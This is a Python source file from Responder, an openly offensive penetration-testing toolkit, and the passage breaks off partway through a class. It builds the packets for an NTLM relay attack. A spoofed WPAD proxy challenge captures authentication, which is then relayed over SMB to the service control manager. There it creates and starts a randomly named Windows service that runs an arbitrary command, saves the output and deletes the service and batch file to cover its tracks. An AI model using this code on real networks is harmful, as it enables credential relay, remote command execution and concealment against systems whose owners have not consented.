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Responder/tools/RelayHTTPSMB/HTTPRelayPacket.py

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#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import sys
import random
import time
from odict import OrderedDict
import datetime
from base64 import b64decode, b64encode
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
##################HTTP Proxy Relay##########################
def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date
class WPAD_Auth_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
("Connection", "Proxy-Connection: close\r\n"),
("Cache-Control", "Cache-Control: no-cache\r\n"),
("Pragma", "Pragma: no-cache\r\n"),
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
class WPAD_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
##################SMB Relay Packet##########################
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoCairo(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMBNegoCairoData(Packet):
fields = OrderedDict([
("Separator1","\x02" ),
("Dialect1", "Cairo 0.xa\x00"), #Let's talk Cairo!
])
class SMBSessionSetupAndxNEGO(Packet):
fields = OrderedDict([
("Wordcount", "\x0c"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("AndXOffset", "\xec\x00"),
("MaxBuff","\xff\xff"),
("MaxMPX", "\x32\x00"),
("VCNumber","\x00\x00"),
("SessionKey", "\x00\x00\x00\x00"),
("SecBlobLen","\x4a\x00"),
("Reserved2","\x00\x00\x00\x00"),
("Capabilities", "\xfc\xe3\x01\x80"),
("Bcc","\xb1\x00"),
##gss api starts here.
("ApplicationHeaderTag","\x60"),
("ApplicationHeaderLen","\x48"),
("AsnSecMechType","\x06"),
("AsnSecMechLen","\x06"),
("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
("ChoosedTag","\xa0"),
("ChoosedTagStrLen","\x3e"),
("NegTokenInitSeqHeadTag","\x30"),
("NegTokenInitSeqHeadLen","\x3c"),
("NegTokenInitSeqHeadTag1","\xA0"),
("NegTokenInitSeqHeadLen1","\x0e"),
("NegTokenInitSeqNLMPTag","\x30"),
("NegTokenInitSeqNLMPLen","\x0c"),
("NegTokenInitSeqNLMPTag1","\x06"),
("NegTokenInitSeqNLMPTag1Len","\x0a"),
("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenInitSeqNLMPTag2","\xa2"),
("NegTokenInitSeqNLMPTag2Len","\x2a"),
("NegTokenInitSeqNLMPTag2Octet","\x04"),
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
## NTLM packet ##
("Data", ""),
## NTLM packet ##
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
("NativeOs","Windows 2002 Service Pack 3 2600"),
("NativeOsTerminator","\x00\x00"),
("NativeLan","Windows 2002 5.1"),
("NativeLanTerminator","\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
CompleteSMBPacketLen = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["AndXOffset"])+str(self.fields["MaxBuff"])+str(self.fields["MaxMPX"])+str(self.fields["VCNumber"])+str(self.fields["SessionKey"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])+str(self.fields["Capabilities"])+str(self.fields["Bcc"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
SecBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
## Packet len
self.fields["AndXOffset"] = struct.pack("<h", len(CompleteSMBPacketLen)+32)
##Buff Len
self.fields["SecBlobLen"] = struct.pack("<h", len(SecBlobLen))
##Complete Buff Len
self.fields["Bcc"] = struct.pack("<h", len(CompleteSMBPacketLen)-27)#session setup struct is 27.
##App Header
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(SecBlobLen)-2)
##Asn Field 1
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
##Asn Field 1
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
##SpNegoTokenLen
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
##NegoTokenInit
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
## Tag0 Len
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
## Tag0 Str Len
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
## Tag2 Len
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
## Tag3 Len
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(str(self.fields["Data"])))
class SMBSessionSetupAndxAUTH(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\xfa\x00"),
("maxbuff","\xff\xff"),
("maxmpx", "\x32\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x59\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xfc\xe3\x01\x80"),
("bcc1","\xbf\x00"),
("ApplicationHeaderTag","\xa1"),
("ApplicationHeaderTagLenOfLen","\x81"),
("ApplicationHeaderLen","\xd1"),
("AsnSecMechType","\x30"),
("AsnSecMechLenOfLen","\x81"),
("AsnSecMechLen","\xce"),
("ChoosedTag","\xa2"),
("ChoosedTagLenOfLen","\x81"),
("ChoosedTagLen","\xcb"),
("ChoosedTag1","\x04"),
("ChoosedTag1StrLenOfLen","\x81"),
("ChoosedTag1StrLen","\xc8"),
#### NTLM Packet ####
("Data", ""),
#### End Of SMB ####
("NLMPAuthMsgNull","\x00"),
("NativeOs","Unix"),
("NativeOsTerminator","\x00\x00"),
("ExtraNull",""),
("NativeLan","Samba"),
("NativeLanTerminator","\x00\x00"),
("AndxPadding",""),
])
def calculate(self):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
NTLMData = str(self.fields["Data"])
###### ASN Stuff
if len(NTLMData) > 255:
self.fields["ApplicationHeaderTagLenOfLen"] = "\x82"
self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0)
else:
self.fields["ApplicationHeaderTagLenOfLen"] = "\x81"
self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3)
if len(NTLMData)-8 > 255:
self.fields["AsnSecMechLenOfLen"] = "\x82"
self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4)
else:
self.fields["AsnSecMechLenOfLen"] = "\x81"
self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6)
if len(NTLMData)-12 > 255:
self.fields["ChoosedTagLenOfLen"] = "\x82"
self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8)
else:
self.fields["ChoosedTagLenOfLen"] = "\x81"
self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9)
if len(NTLMData)-16 > 255:
self.fields["ChoosedTag1StrLenOfLen"] = "\x82"
self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12)
else:
self.fields["ChoosedTag1StrLenOfLen"] = "\x81"
self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12)
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
## Packet len
self.fields["andxoffset"] = struct.pack("<h", len(CompletePacketLen)+32) #SMB1 Header is always 32
##Buff Len
self.fields["securitybloblength"] = struct.pack("<h", len(SecurityBlobLenUpdated))
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<h", len(CompletePacketLen)-27) #SessionSetup struct is 27.
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x5a\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x2f\x00"),
("Passwd", "\x00"),
("Path","\\\\IPC$"),
("PathTerminator","\x00\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
##Convert Path to Unicode first before any Len calc.
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
##Passwd Len
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
##Packet len
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
("AccessMask", "\x00\x00\x00\x02"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x07\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x00\x00\x00\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x00"),
("Bcc", "\x08\x00"),
("FileName", "\\svcctl"),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBReadData(Packet):
fields = OrderedDict([
("Wordcount", "\x0a"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x00\x00"),
("Offset", "\x19\x03\x00\x00"),
("MaxCountLow", "\xed\x01"),
("MinCount", "\xed\x01"),
("Hidden", "\xff\xff\xff\xff"),
("Remaining", "\x00\x00"),
("Bcc", "\x00\x00"),
("Data", ""),
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x06\x40"),
("Offset", "\xea\x03\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x08\x00"),
("Remaining", "\xdc\x02"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x3f\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Data", ""),
])
def calculate(self):
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBDCEData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x0b"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"),
("CTXNumber", "\x01"),
("CTXPadding", "\x00\x00\x00"),
("CTX0ContextID", "\x00\x00"),
("CTX0ItemNumber", "\x01\x00"),
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
("CTX0UIDVersion", "\x02\x00"),
("CTX0UIDVersionlo","\x00\x00"),
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
class SMBDCEPacketData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x00"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("AllocHint", "\x38\x00\x00\x00"),
("ContextID", "\x00\x00"),
("Opnum", "\x0f\x00"),
("Data", ""),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
class SMBDCESVCCTLOpenManagerW(Packet):
fields = OrderedDict([
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
("MaxCount", "\x0f\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0f\x00\x00\x00"),
("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
("MachineNameNull", "\x00\x00\x00\x00"),
("DbPointer", "\x00\x00\x00\x00"),
("AccessMask", "\x3f\x00\x0f\x00"),
])
def calculate(self):
## Convert to UTF-16LE
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
class SMBDCESVCCTLCreateService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", "AyAGaxwLhCP"),
("MachineNameNull", "\x00\x00"),
("ReferentID", "\x9c\xfa\x9a\xc9"),
("MaxCountRefID", "\x11\x00\x00\x00"),
("OffsetID", "\x00\x00\x00\x00"),
("ActualCountRefID", "\x11\x00\x00\x00"),
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
("DisplayNameIDNull", "\x00\x00\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
("ServerType", "\x10\x01\x00\x00"),
("ServiceStartType", "\x03\x00\x00\x00"),
("ServiceErrorCtl", "\x00\x00\x00\x00"),
("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"),
("FileName", ""),
("BinPathName", ""),
("BinCMD", ""),
("BintoEnd", ""),
("BinPathNameNull", "\x00\x00"),
("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
CleanService = "sc delete "+self.fields["ServiceName"]+"^&"#Start by deleting the service..then run the cmd.
FinalCMD = CleanService+"del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
#That is: delete service we just ran, delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
self.fields["FileName"] = ""#Reset it.
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
self.fields["BinCMD"] = FinalCMD
self.fields["BintoEnd"] = "& %COMSPEC% /C "+File
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", ""),
("MachineNameNull", "\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
])
def calculate(self):
## Calculate first
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
class SMBDCESVCCTLStartService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
])
class OpenAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0f"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Flags", "\x07\x00"),
("DesiredAccess", "\xc2\x00"),
("SearchAttrib", "\x16\x00"),
("FileAttrib", "\x20\x00"),
("Created", "\x40\x9d\xc1\x57"),
